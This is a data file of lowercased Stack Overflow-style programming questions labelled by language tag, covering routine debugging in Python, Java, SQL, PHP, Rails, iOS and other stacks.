python printing only first line  new to python.  using this code   <pre><code>#!/usr/bin/env python2 with open( /tmp/cadrootcomp1.firstwords  mode= rb ) as f:     print  / .join(f.read().split( / )[:2]) +  /  </code></pre>   get output: abc/def/    when original line was abc/def/ghi    so this works fine. need this script to run on other lines in file. it is processing only first line.,python
button handlers not working. basic java rectangle calculator  so i have been following a tutorial for a basic java gui calculator. for whatever reason  when i go to click the calculate button  the console gives a huge list of errors. how can i fix this.     code:    <pre><code>import javax.swing.*; import java.awt.*; import java.awt.event.*;  public class rectangleprogram extends jframe {  private static final int width = 400; private static final int height = 300;  private jlabel lengthl  widthl  areal; private jtextfield lengthtf  widthtf  areatf; private jbutton calculateb  exitb;  //button handlers private calculatebuttonhandler cbhandler; private exitbuttonhandler ebhandler;  public rectangleprogram(){     lengthl = new jlabel( enter the length:    swingconstants.right);     widthl = new jlabel( enter the width:    swingconstants.right);     areal = new jlabel( area:    swingconstants.right);      lengthtf = new jtextfield(10);     widthtf = new jtextfield(10);     areatf = new jtextfield(10);       //new buttons      calculateb = new jbutton( calculate );     cbhandler = new calculatebuttonhandler();     calculateb.addactionlistener(cbhandler);     exitb = new jbutton( exit );     ebhandler = new exitbuttonhandler();     exitb.addactionlistener(ebhandler);      settitle( sample title: area of a rectangle );     container pane = getcontentpane();     pane.setlayout(new gridlayout(4  2));      //adding wings and things... well just things... no wings :(      pane.add(lengthl);     pane.add(lengthtf);     pane.add(widthl);     pane.add(widthtf);     pane.add(areal);     pane.add(areatf);     pane.add(calculateb);     pane.add(exitb);      setsize(width  height);     setvisible(true);     setdefaultcloseoperation(exit_on_close);  }   private class calculatebuttonhandler implements actionlistener{     public void actionperformed(action e){         double width  length  area;          length = double.parsedouble(lengthtf.gettext());         width = double.parsedouble(widthtf.gettext());         area = length * width;          areatf.settext(   + area);     } }  public class exitbuttonhandler implements actionlistener{      public void actionperformed(action e){         system.exit(0);      } }  public static void main(string[] args){     rectangleprogram rectobj = new rectangleprogram(); } </code></pre>   }    errors:   <blockquote>    exception in thread  awt-eventqueue-0  java.lang.error: unresolved compilation >problem:      the type rectangleprogram.calculatebuttonhandler must implement the >inherited abstract method actionlistener.actionperformed(actionevent)        at >rectangleprogram$calculatebuttonhandler.actionperformed(rectangleprogram.java:5>9)     at javax.swing.abstractbutton.fireactionperformed(unknown source)     at javax.swing.abstractbutton$handler.actionperformed(unknown source)     at javax.swing.defaultbuttonmodel.fireactionperformed(unknown source)     at javax.swing.defaultbuttonmodel.setpressed(unknown source)     at javax.swing.plaf.basic.basicbuttonlistener.mousereleased(unknown source)     at java.awt.component.processmouseevent(unknown source)     at javax.swing.jcomponent.processmouseevent(unknown source)     at java.awt.component.processevent(unknown source)     at java.awt.container.processevent(unknown source)     at java.awt.component.dispatcheventimpl(unknown source)     at java.awt.container.dispatcheventimpl(unknown source)     at java.awt.component.dispatchevent(unknown source)     at java.awt.lightweightdispatcher.retargetmouseevent(unknown source)     at java.awt.lightweightdispatcher.processmouseevent(unknown source)     at java.awt.lightweightdispatcher.dispatchevent(unknown source)     at java.awt.container.dispatcheventimpl(unknown source)     at java.awt.window.dispatcheventimpl(unknown source)     at java.awt.component.dispatchevent(unknown source)     at java.awt.eventqueue.dispatcheventimpl(unknown source)     at java.awt.eventqueue.access$500(unknown source)     at java.awt.eventqueue$3.run(unknown source)     at java.awt.eventqueue$3.run(unknown source)     at java.security.accesscontroller.doprivileged(native method)     at >java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(u>nknown source)     at >java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(u>nknown source)     at java.awt.eventqueue$4.run(unknown source)     at java.awt.eventqueue$4.run(unknown source)     at java.security.accesscontroller.doprivileged(native method)     at >java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(u>nknown source)     at java.awt.eventqueue.dispatchevent(unknown source)     at java.awt.eventdispatchthread.pumponeeventforfilters(unknown source)     at java.awt.eventdispatchthread.pumpeventsforfilter(unknown source)     at java.awt.eventdispatchthread.pumpeventsforhierarchy(unknown source)     at java.awt.eventdispatchthread.pumpevents(unknown source)     at java.awt.eventdispatchthread.pumpevents(unknown source)     at java.awt.eventdispatchthread.run(unknown source)  </blockquote>,java
unable to find source file  while configuring iis and deploying my web application   i did something in visual studio while trying to deploy project. and all my code behind files dissapeared. i didn t delete them on purpose . who knows what is going on and what i can do,asp.net
how to make sql to generate new number every day  how to make sql to generate new number every day  like when report is being created  today it gives number 1  tomorrow number 2.   <pre><code>01.01.2017---1 01.01.2017---1 02.01.2017---2 02.01.2017---2 03.01.2017---3 03.01.2017---3 01.02.2017---32 01.05.2017---101 01.05.2017---101 10.05.2017---110 10.05.2017---110 </code></pre>,sql
javadoc generator  how to solve this problem microsoft windows [version 6.1.7600] copyright (c) 2009 microsoft corporation.  all rights reserved.   <pre><code>c:\users\ramaraj&gt;cd\  c:\&gt;set path= d:\program files (x86)\java\jdk1.6.0_35\bin ;  c:\&gt;javadoc d:\personaction.java -d d:\doc creating destination directory:  d:\doc\  loading source file d:\personaction.java... d:\personaction.java:22: warning: unmappable character for encoding cp1252 //σ«üς╣ëσ  σ╕║reloadτüäresultθç σ«üσ æσê░user.action  σà╢σ╗ûresultσêöµîëτàºconve ntionθ╗ÿφ«ñ.          ^ d:\personaction.java:22: warning: unmappable character for encoding cp1252 //σ«üς╣ëσ  σ╕║reloadτüäresultθç σ«üσ æσê░user.action  σà╢σ╗ûresultσêöµîëτàºconve ntionθ╗ÿφ«ñ.           ^ d:\personaction.java:22: warning: unmappable character for encoding cp1252 //σ«üς╣ëσ  σ╕║reloadτüäresultθç σ«üσ æσê░user.action  σà╢σ╗ûresultσêöµîëτàºconve ntionθ╗ÿφ«ñ.                                ^ d:\personaction.java:22: warning: unmappable character for encoding cp1252 //σ«üς╣ëσ  σ╕║reloadτüäresultθç σ«üσ æσê░user.action  σà╢σ╗ûresultσêöµîëτàºconve ntionθ╗ÿφ«ñ.                                     ^ d:\personaction.java:32: warning: unmappable character for encoding cp1252         private page&lt;person&gt; page = new page&lt;person&gt;(15);//µ» θí╡5µ íφ«░σ╜ò                                                              ^ d:\personaction.java:32: warning: unmappable character for encoding cp1252         private page&lt;person&gt; page = new page&lt;person&gt;(15);//µ» θí╡5µ íφ«░σ╜ò                                                                    ^ d:\personaction.java:65: warning: unmappable character for encoding cp1252                 //φ«╛τ╜«θ╗ÿφ«ñµäæσ║ µû╣σ╝                                     ^ d:\personaction.java:65: warning: unmappable character for encoding cp1252                 //φ«╛τ╜«θ╗ÿφ«ñµäæσ║ µû╣σ╝                                           ^ d:\personaction.java:82: warning: unmappable character for encoding cp1252                 addactionmessage( σ┐ σ¡ÿµê σèƒ );                                     ^ d:\personaction.java:82: warning: unmappable character for encoding cp1252                 addactionmessage( σ┐ σ¡ÿµê σèƒ );                                           ^ d:\personaction.java:90: warning: unmappable character for encoding cp1252                         addactionmessage( σêáθöñµê σèƒ );                                                   ^ d:\personaction.java:110: warning: unmappable character for encoding cp1252         //-- θí╡θ óσ▒₧µçºφ«┐θù«σç╜µò░ --//                  ^ d:\personaction.java:112: warning: unmappable character for encoding cp1252          * listθí╡θ óµÿ╛τñ║τö¿µê╖σêåθí╡σêùφí¿.                    ^ d:\personaction.java:1: illegal character: \187 ∩╗┐package net.top.app.web.person;  ^ d:\personaction.java:1: illegal character: \191 ∩╗┐package net.top.app.web.person;   ^ 2 errors 13 warnings  c:\&gt; </code></pre>,java
better way to convert a hashtable to datatable  is there any better way of converting a hashtable to datatable   <pre><code>private datatable converthasttabletodatatable(system.collections.hashtable hashtable) {     var datatable = new datatable(hashtable.gettype().name);     datatable.columns.add( key  typeof(object));     datatable.columns.add( value   typeof(object));     idictionaryenumerator enumerator = hashtable.getenumerator();     while (enumerator.movenext())     {      datatable.rows.add(enumerator.key  enumerator.value);      }     return datatable; } </code></pre>,c#
missing params when updating only single attribute in rails  i would like the site s admin to be able to update permissions for users. my <code>user</code> model has an attribute <code>permissions_id</code> which is simply an integer that doesn t even relate to another table  just a number i ll reference later.    the error i m getting is <code>param is missing or the value is empty: user</code> when going to the <code>users/:id/choose_permissions</code> url. i figured that the rest of the user s information will be passed to the controller when it tries to update the user  but it doesn t see the user i m passing it.    i ve tried switching the params to <code>params.fetch(:user  {}).permit(...)</code> <a href= https://stackoverflow.com/a/22444337/3251199 >as suggested here</a> but it just skips over the form whenever i go to <code>users/:id/choose_permissions</code>.    <strong>app/controllers/users_controller.rb</strong>   <pre><code>def choose_permissions   @user = user.find(params[:id])   if @user.update_attributes(user_params)     flash[:success] =  user updated      redirect_to @user    else     render  update_permissions    end end  private    def user_params     params.require(:user).permit(:name  :email  :password                                    :password_confirmation  :permissions_id)   end </code></pre>   <strong>app/views/users/choose_permissions.html.erb</strong>   <pre><code>&lt;%= form_for(@user) do |f| %&gt;    &lt;%= f.label  choose permissions  %&gt;   &lt;%= f.password_field :permissions_id  class:  form-control  %&gt;    &lt;%= f.submit  save changes   class:  btn btn-primary  %&gt; &lt;% end %&gt;  </code></pre>   <strong>config/routes.rb</strong>   <pre><code>resources :users do   member do     get :choose_permissions   end end </code></pre>   is it because this page is a <code>get</code> request instead of a <code>patch</code>  or is it possibly because an admin is trying to update another user,ruby-on-rails
opposite of nl2br  is it str_replace   so the function nl2br is handy. except in my web app  i want to do the opposite  interpret line breaks as new lines  since they will be echoed into a pre-filled form.    str_replace can take <code>&lt;br /&gt;</code> and replace it with whatever i want  but if i put in \n  it echoes literally a backslash and an n. it only works if i put a literal line break in the middle of my script  and break the indentation (so there are no trailing space).    see:   <pre><code>    &lt; =str_replace( &lt;br /&gt;      $foo) &gt; </code></pre>   am i missing escape characters  i think i tried every combination...,php
undefined method `hostname  for   http://www.google.com/ :string (nomethoderror)  i have the following code to get <code>google.com</code>   <pre><code>class geocoder     def self.locate()          uri= http://www.google.com/             puts net::http.get(uri)  end </code></pre>   but i faced with the erorr:   <pre><code>undefined method `hostname  for   http://www.google.com/ :string (nomethoderror) </code></pre>   i have already seen <a href= https://stackoverflow.com/questions/13434507/ruby-http-post-errors >this</a>  and my ruby version is: <code>ruby 2.2.1</code>,ruby-on-rails
memorize quotes python program  i want to create a program where i can either memorize all quotes of a book or from certain characters. once the type of test is selected  i want to enter a quote i can remember and if it is present in a file then i can continue to enter more quotes. once finished  a score is presented. to be honest this is all i ve done already - i need a bit of help with all_aic.    <pre><code>def displaymenu():     print( inspector calls quotes: )     print( 1. all aic quotes )     print( 2. arthur quotes )     print( 3. sheila quotes )     print( 4. inspector quotes )     print( 5. eric quotes )     print( 6. gerald quotes )     # input menu item     i = input( please select an option from the menu above(1-6): )     # validation of menu item     while not (i.isnumeric() and int(i)&gt;=1 and int(i)&lt;=6):         i = input( error - please select an option from the menu above(1-3): )     return i # return menu item  while true:     choice = displaymenu()     if choice== 1 :         all_aic()     elif choice== 2 :         arthur()     elif choice== 3 :         sheila()     elif choice== 4 :         inspector()     elif choice== 5 :         eric()     elif choice== 6 :         gerald()     else:         print( wrong choice - enter valid number )  def all_aic(): # def means defigning a function     print( write your quotes  press # to finish )     quotes = input( quotes: ) #input username     quotes = quotes.lower()     quotefile = open( all_aic.txt    r )     quotelist = quotefile.readlines()     quotefile.close()     found = false     for line in quotelist:         if str(quotes) in line:             print(line)             found = true      if not found:         print( quote not found )         quotefile.close() </code></pre>,python
oncellleave strange bug in .net  can anybody advise how to debug this bug in .net 2.0      i don t have any implementations of cellleave in my c# project.     some users of the program report this error on random basis  others never encounter it.    thanks!   <pre><code>report: unhandled gui exception occured! operating system: microsoft windows nt 5.1.2600.196608 service pack 3 system type: 32 bit error message: index is less than 0 or more than or equal to the list count. parameter name: index -1   at system.collections.arraylist.thrownewargumentoutofrangeexception (system.string name  system.object actual  system.string message) [0x00000] in &lt;filename unknown&gt;:0   at system.collections.arraylist.get_item (int32 index) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridviewcellcollection.getcellinternal (int32 colindex) [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.windows.forms.datagridviewcellcollection:getcellinternal (int)   at system.windows.forms.datagridview.getcellinternal (int32 colindex  int32 rowindex) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridview.oncellleave (system.windows.forms.datagridviewcelleventargs e) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridview.setcurrentcelladdresscore (int32 columnindex  int32 rowindex  boolean setanchorcelladdress  boolean validatecurrentcell  boolean throughmouseclick) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridview.movecurrentcell (int32 x  int32 y  boolean select  boolean iscontrol  boolean isshift  boolean scroll) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridview.onrowspreremovedinternal (system.windows.forms.datagridviewrowsremovedeventargs e) [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.windows.forms.datagridview:onrowspreremovedinternal (system.windows.forms.datagridviewrowsremovedeventargs)   at system.windows.forms.datagridviewrowcollection.clear () [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridviewcolumncollection.clear () [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.datagridview.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.control.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.control.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.control.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.tabcontrol.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.control.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.control.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.containercontrol.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.form.dispose (boolean disposing) [0x00000] in &lt;filename unknown&gt;:0   at a.dispose (boolean  ) [0x00000] in &lt;filename unknown&gt;:0   at system.componentmodel.component.dispose () [0x00000] in &lt;filename unknown&gt;:0   at (wrapper remoting-invoke-with-check) system.componentmodel.component:dispose ()   at system.windows.forms.form.wmclose (system.windows.forms.message&amp; m) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.form.wndproc (system.windows.forms.message&amp; m) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.control+controlwindowtarget.onmessage (system.windows.forms.message&amp; m) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.control+controlnativewindow.wndproc (system.windows.forms.message&amp; m) [0x00000] in &lt;filename unknown&gt;:0   at system.windows.forms.nativewindow.wndproc (intptr hwnd  msg msg  intptr wparam  intptr lparam) [0x00000] in &lt;filename unknown&gt;:0 </code></pre>,.net
accessing filter in a two-level grouping in angular js  i have a list that has a two-level grouping. how can i access the second level filter from the first     <pre><code>&lt;div ng-repeat= (key1  value1) in list| groupby:  group1  &gt;   &lt;!--i want to access  filtered  here--&gt;   {{ key1 }}   &lt;div ng-repeat= (key2  value2) in value1 | groupby :  group2   ng-show= filtered.length &gt; 0 &gt;     {{ key2 }}     &lt;div ng-repeat= item in value2 | filter : ...some filters } as filtered &gt;       &lt;div class= collapse-detail-detail &gt;         {{ item.name }}       &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   i want to access  filtered  in the first level because i want to hide the whole group when there are no items under it after filter.    for example i have this list:   <pre><code>[ {name: kevin durant   team: 1  : hometown: 1}   {name: dwayne wade   team: 2  hometown: 1}   {name: lebron james   team: 2  hometown: 2}   {name: kyrie irving   team: 2  hometown: 2}  {name: damian lillard   team: 1  hometown: 3} ] </code></pre>   grouping by team and hometown will result in   <pre><code>team 1   hometown 1     kevin durant   hometown 3     damian lillard team 2   hometown 1     dwayne wade   hometown 2     lebron james     kyrie irving </code></pre>   if you will filter all who belongs in team 1 you will get:   <pre><code>team 1   hometown 1     kevin durant   hometown 3     damian lillard team 2   hometown 1   hometown 2 </code></pre>   but the result i want is   <pre><code>team 1   hometown 1     kevin durant   hometown 3     damian lillard </code></pre>,angularjs
replace ; with blank in sql  i have a table like this:   <pre><code>declare @t table (note varchar (50))  insert @t select  amplifier  union all select  ;  union all select  regulator  </code></pre>   how can i replace the semicolon (<code> ; </code>) with blank (<code>  </code>).    expected output:   <pre><code>amplifier            --  here semicolon replace with blank regulator </code></pre>,sql
is mysql odbc 5.2a thread safe  i m writing a multi threaded application to access the same database.    how can i tell if any odbc driver is thread safe     in particular i m using driver={mysql odbc 5.2a driver},mysql
object reference not set to an instance of an object  i keep getting the following error and i don t know how to fix it. any help would be great please    exception details:nullreferenceexception was unhandled by users code: object reference not set to an instance of an object.   <pre><code>protected void lbupload_click(object sender  eventargs e)     {            error: if(fileupload.postedfile.filename == string.empty)         {              labelmsg.visible = true;             return;         }         else     {         string[] fileext = fileupload.filename.split( . );         string fileex = fileext[fileext.length - 1];         if (fileex.tolower() ==  csv )         {             fileupload.saveas(server.mappath( csvload//  + fileupload.filename));         }         else         {             labelmsg.visible = true;             return;         }     }     csvreader reader = new csvreader(fileupload.postedfile.inputstream);     string[] headers = reader.getcsvline();     datatable dt = new datatable();     foreach (string strheader in headers)     dt.columns.add(strheader);     string[] data;     while ((data = reader.getcsvline()) != null)     dt.rows.add(data);     gridview1.datasource = dt;     gridview1.databind();     if (fileupload.hasfile)         try         {             fileupload.saveas(server.mappath( confirm// ) +             fileupload.filename);             labelgrid.text =  file name:   +             fileupload.postedfile.filename +  &lt;br&gt;  +             fileupload.postedfile.contentlength +   kb&lt;br&gt;  +              content type:   +             fileupload.postedfile.contenttype +  &lt;br&gt;&lt;b&gt;uploaded successfully ;         }         catch (exception ex)         {             labelgrid.text =  error:   + ex.message.tostring();          }     else     {         labelgrid.text =  you have not specified a file. ;     }     file.delete(server.mappath( confirm//  + fileupload.filename)); } </code></pre>,asp.net
how to retrieve substrings using php  i am trying to figure out how to pull a few substrings out of a string that i don t have any control of. the string contains 3 pieces of information i need. they are:   <pre><code>order # middle digits cv2 number </code></pre>   each of these pieces of information are a variable length. for example  in the string below  the order number is 2  but it could very well be 20 or 200  or 20174  or whatever. the middle digits could be 8 numbers or 2 numbers  etc. and the cv2 number could be 3  2 or 1 number...   <pre><code>here are the middle digits of the card number for order #2:  middle digits: 11111111  and here is the cv2 number:  cv2 number: 444 </code></pre>   in the above example string  i need to get the order number (2)  the middle digits (11111111) and the cv2 number (444). these numbers have an arbitrary length or might not exist at all.    what php functions/logic can help me retrieve these values reliably  the only information i need are the numbers.    thank you!,php
python code doesn t execute. no errors showed  i don t know what s wrong with my code. it would just not execute. nothing happens  no errors occur. i can t figure it out.  if someone can tell me what i have done wrong  please do so and i will be grateful.   <pre><code>class money (object):     def __init__ (self  euro  cent):       self.euro = euro       self.cent = cent      def __str__ (self):         if self.cent &gt;= 100:             r = self.cent / 100             self.cent = self.cent % 100             self.euro = self.euro + r             return ( %d eur &amp; %d cents ) % (self.euro  self.cent)         else:             return ( %d eur &amp; %d cents ) % (self.euro  self.cent)      def changecent (self):         #100 c = 1 e         cents = self.euro * 100         self.cent = self.cent + cents         return self.cent      def changesum (self  euros):         #1 e = 100 c         euros = self.cent / 100         self.euro = self.euro + euros         return self.euro      def debt (self  years  rate):         value = money()         multiply = rate * years * 12 / 100         value.euro = self.euro * multiply         value.cent = self.cent * multiply         if value.cent &gt; 100:             euro_ = value.cent / 100             value.cent = value.cent - 100             value.euro = value.euro + euro_         return value  def main():     x = money()     x.euro = int(input( type in your euro ammount: \n ))     x.cent = int(input( type in your cent ammount: \n ))     print (x) </code></pre>,python
c++ non-member function <pre><code>template &lt;typename frame&gt; video&lt;frame&gt; operator&lt;&lt;(const video&lt;frame&gt;&amp; video const frame&amp; newframe){     video&lt;frame&gt; v1(video);     v1.append(newframe);     return v1; } </code></pre>   above is the code that is a non-member function which is going to append (function to add something to the list and the list is private) something to the video and return it. it is a-non member function of operator <code>&lt;&lt;</code>.    below is <code>main.cpp</code>. i don t know why when i return and use <code>utilities::printcharvideo(video);</code> to print the video it doesn t show anything. however  if i use this code inside the function  it does print out something. so the question is  why the video did not store the things that i appended to it  and how to fix it    <pre><code>int main() {     video&lt; image&lt;char&gt; &gt; video(5  5  1);      video &lt;&lt; (image&lt;char&gt;(5  5  utilities::pixels_2))           &lt;&lt; (image&lt;char&gt;(5  5  utilities::pixels_0))           &lt;&lt; (image&lt;char&gt;(5  5  utilities::pixels_1))           &lt;&lt; (image&lt;char&gt;(5  5  utilities::pixels_2));      utilities::printcharvideo(video); } </code></pre>,c++
table inside table td  i have table td inside that am using another table but text and fields are not coming on same line i have tried with padding cellso but nothing worked for me     <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt; label &lt;/td&gt;         &lt;td&gt;             &lt;table border=0 cellpadding=0 cellspacing=0&gt;                 &lt;tr&gt;                     &lt;td&gt; &lt;input type=checkbox&gt; field name &lt;/td&gt;                 &lt;/tr&gt;             &lt;/table&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
best way to escape special characters in nsstring used in a network protocol  i am building up a string in a network protocol and i would like to escape special characters in the key-value pair i am transmitting.  what s the best approach     for example  in url escaping scheme  a space is replaced with %20.    so two questions to this:    1) what is the most appropriate escape scheme (e.g. url escape)    2) how to perform the actual escape  (e.g. stringbyaddingpercentescapesusingencoding if url escape is the best scheme)    e.g.   <pre><code>metadata:key1=value1;key2=value2 </code></pre>   in this case we want to escape equal sign  colon and semicolon that will appear in key or value.,objective-c
regex image name url  i want to change <code>:</code> to <code>_</code> like   <pre><code>&lt;img src= http://domainname.com/image:name.jpg &gt; </code></pre>   output   <pre><code>&lt;img src= http://domainname.com/image_name.jpg &gt; </code></pre>   i have this regex but it doesn t work:   <pre><code>$f1content = preg_replace( /\&lt;img src= \/\/(.*\.jpg |.jpeg |.gif  |.png |.jpg &gt;|.jpeg &gt;|.gif &gt;|.png &gt;)/   /1  $content)  $result = str_replace( :    _   $f1content); </code></pre>,php
how to use call by reference(address) and default parameter in java   i am c++/c# developer and new to java. some reference found on internet suggests that we cannot have call by reference in java. is it completely true  or by any way i can return more than one value from function      secondly  default parameter is not seems to support in java  i am also trying to find is there any way to use default arguments in java.    thanks.,java
iphone network cfsocket callback multithread  i am trying to write an ios application which listens for tcp broadcasts and acts on the data. more advanced implementations seem to suggest using background threads and raw sockets to implement this kind of feature  but i thought as a first attempt i would use cfsocket to keep things simple.     the problem is that when i run it  it s fine   but it run in main thread don t run in a new thread. why doesn t the callback function run in a background thread      here is the code:   <pre><code>- (void)connectoserver{     int yes = 1;     cfsocketcontext ctx = {0 self null null null};     _socket = cfsocketcreate(kcfallocatordefault  pf_inet  sock_stream  ipproto_tcp  kcfsocketdatacallback  tcpserverconnectcallback  &amp;ctx);         setsockopt(cfsocketgetnative(_socket)  sol_socket  so_reuseaddr  (void *)&amp;yes  sizeof(yes));     struct sockaddr_in addr4;         memset(&amp;addr4  0  sizeof(addr4));         addr4.sin_len = sizeof(addr4);         addr4.sin_family = af_inet;         addr4.sin_port = htons(6242);         addr4.sin_addr.s_addr = inet_addr(  );         address = cfdatacreate(kcfallocatordefault  (uint8 *)&amp;addr4  sizeof(addr4));             cfrunloopref cfrl = cfrunloopgetcurrent();         cfrunloopsourceref source = cfsocketcreaterunloopsource(kcfallocatordefault  _socket  0);         cfrunloopaddsource(cfrl  source  kcfrunloopcommonmodes);         cfrelease(source); } </code></pre>   the callback function:   <pre><code>static void tcpserverconnectcallback(cfsocketref socket  cfsocketcallbacktype type  cfdataref address  const void *data  void *info){     nsdata *nsdata = (nsdata*)data;     nsuinteger len = [nsdata length];     byte *bytedata = (byte*)malloc(len);     memcpy(bytedata  [nsdata bytes]  len);     byte *userdata;     networkconnect *networkconnect = (networkconnect*)info;     switch(bytedata[5]){         case 2:             userdata = (byte*)malloc(len-9);             memcpy(userdata  bytedata+7  len-9);             memset(&amp;(networkconnect-&gt;oquota)  0  sizeof(networkconnect-&gt;oquota));             [networkconnect performselectoronmainthread:@selector(updateui) withobject:nil waituntildone:no];            break;         default:            break;     } } </code></pre>,iphone
hide html elements by js without onclick()  i want hide button in html by js but all/almost codes wants <strong>onclick()</strong> &amp; i want hide/show elements auto without click or something,javascript
sql statement keyword  while going through the sql ctes i came across this: <a href= https://www.codeproject.com/articles/265371/common-table-expressions-cte-in-sql-server  rel= nofollow noreferrer >code project cte</a>    the code is:   <pre><code>with showmessage(statement  length) as ( select statement = cast( i like   as varchar(300))  len( i like  ) union all select       cast(statement +  codeproject!   as varchar(300))         len(statement) from showmessage where length &lt; 300 ) select statement  length from showmessage </code></pre>   or even a small modified one:   <pre><code>with showmessage(statement  length) as ( select statement = 1  len( i like  ) union all select       statement + 1         len(statement) from showmessage where statement &lt; 50 ) select statement  length from showmessage </code></pre>   the above code works perfect  when i try the code as:   <pre><code>with k (tt ll) as ( select tt= 1  1 union all select tt+1 1 where tt &lt; 50 ) select tt ll from k </code></pre>   my code does not work  error is that column tt does not exists. after a careful observation found that the statement is a keyword (ui showed in blue color); then i started searching online for the meaning of this keyword but could not find one (google always throws only select statement - not the statement)    could you please explain what is this statement keyword and where/how to use it. or please point me to the right source to learn it.,sql
floating button is hide in ios app and not calling reload the table  <a href= https://i.stack.imgur.com/b4kwg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/b4kwg.png  alt= enter image description here ></a> <a href= https://i.stack.imgur.com/4rqlt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4rqlt.png  alt= enter image description here ></a>   <pre><code>_setupanimationwithduration:delay:view:options:factory:animations:start:animationstategenerator:completion:     uikit`+[uiview(uiviewanimationwithblocks) _setupanimationwithduration:delay:view:options:factory:animations:start:animationstategenerator:completion:]: </code></pre>,ios
looking for a good resource for sql exercises  are there any good resources on the web for practicing sql  i have been studying the language for nearly a year now  and i am looking for additional exercises to improve my abilities to write sql queries. i have previously worked with the exercises on sql-ex.ru and codefights.com.,sql
subtracting large integers  so.  i m trying to subtract large integers.  76561198060995608 - 76561197960265728 = 100729880 type numbers.  (i m converting a 64 bit to a 32 bit)  vbscript and js both give 100729888.    i would love to be able to do it in vbscript  but i m either doing something wrong with cdbl (returns 100729888) or ccur (overflow:  ccur  error happens) or it can t be done the way i m trying.    i ve tried implementing js libraries (bignum  bignumber) and they also haven t returned the correct number  again  maybe because of my error.  <a href= http://jsfromhell.com/classes/bignumber  rel= nofollow >bignumber</a> returns 100729890.    big number code as follows:   <pre><code> $(document).ready(function(){             var x = new bignumber(76561198060995608).subtract(new bignumber(76561197960265728))             alert(x)         }) </code></pre>   so...what am i doing wrong   am i making a stupid mistake   i don t feel like this should take the 6+ hours it s taken me so far.    any suggestions or help would be greatly appreciated.  thanks!,javascript
how do i track down this exception  i am getting this exception thrown at a certain point in the app but can t track down the cause.  i assume its simply a ui call being made from a background thread but i can t find any ui calls that are not made on the main thread.    btw all ui calls are wrapped in <code>dispatchqueue.main.async{}</code>  presumably i missed something but can t figure out how to track it down.    any suggestion how to figure out what call is leading to this - there are a few background threads running concurrently as well as events from sns and bluetooth.   <pre><code>this application is modifying the autolayout engine from a background thread after the engine was accessed from the main thread. this can lead to engine corruption and weird crashes.  stack:(     0   corefoundation                      0x000000018fc8e1d8 &lt;redacted&gt; + 148     1   libobjc.a.dylib                     0x000000018e6c855c objc_exception_throw + 56     2   corefoundation                      0x000000018fc8e108 &lt;redacted&gt; + 0     3   foundation                          0x0000000190875ea4 &lt;redacted&gt; + 192     4   foundation                          0x00000001906bd3fc &lt;redacted&gt; + 36     5   uikit                               0x0000000196434770 &lt;redacted&gt; + 72     6   uikit                               0x0000000195ae61e8 &lt;redacted&gt; + 1140     7   quartzcore                          0x0000000192fa6188 &lt;redacted&gt; + 148     8   quartzcore                          0x0000000192f9ae64 &lt;redacted&gt; + 292     9   quartzcore                          0x0000000192f9ad24 &lt;redacted&gt; + 32     10  quartzcore                          0x0000000192f177ec &lt;redacted&gt; + 252     11  quartzcore                          0x0000000192f3ec58 &lt;redacted&gt; + 512     12  quartzcore                          0x0000000192f3f124 &lt;redacted&gt; + 660     13  libsystem_pthread.dylib             0x000000018ed22fbc &lt;redacted&gt; + 572     14  libsystem_pthread.dylib             0x000000018ed22ce4 &lt;redacted&gt; + 200     15  libsystem_pthread.dylib             0x000000018ed22378 pthread_mutex_lock + 0     16  libsystem_pthread.dylib             0x000000018ed21da4 start_wqthread + 4 ) </code></pre>   ok so i added the breakpoint but i just get the following on thread 10 (!)  i can t figure out what could be running on thread 10 or what ui code is being called.   <pre><code>libobjc.a.dylib`objc_exception_throw: -&gt;  0x18e6c8524 &lt;+0&gt;:   stp    x28  x27  [sp  #-64]!     0x18e6c8528 &lt;+4&gt;:   stp    x22  x21  [sp  #16]     0x18e6c852c &lt;+8&gt;:   stp    x20  x19  [sp  #32]     0x18e6c8530 &lt;+12&gt;:  stp    x29  x30  [sp  #48]     0x18e6c8534 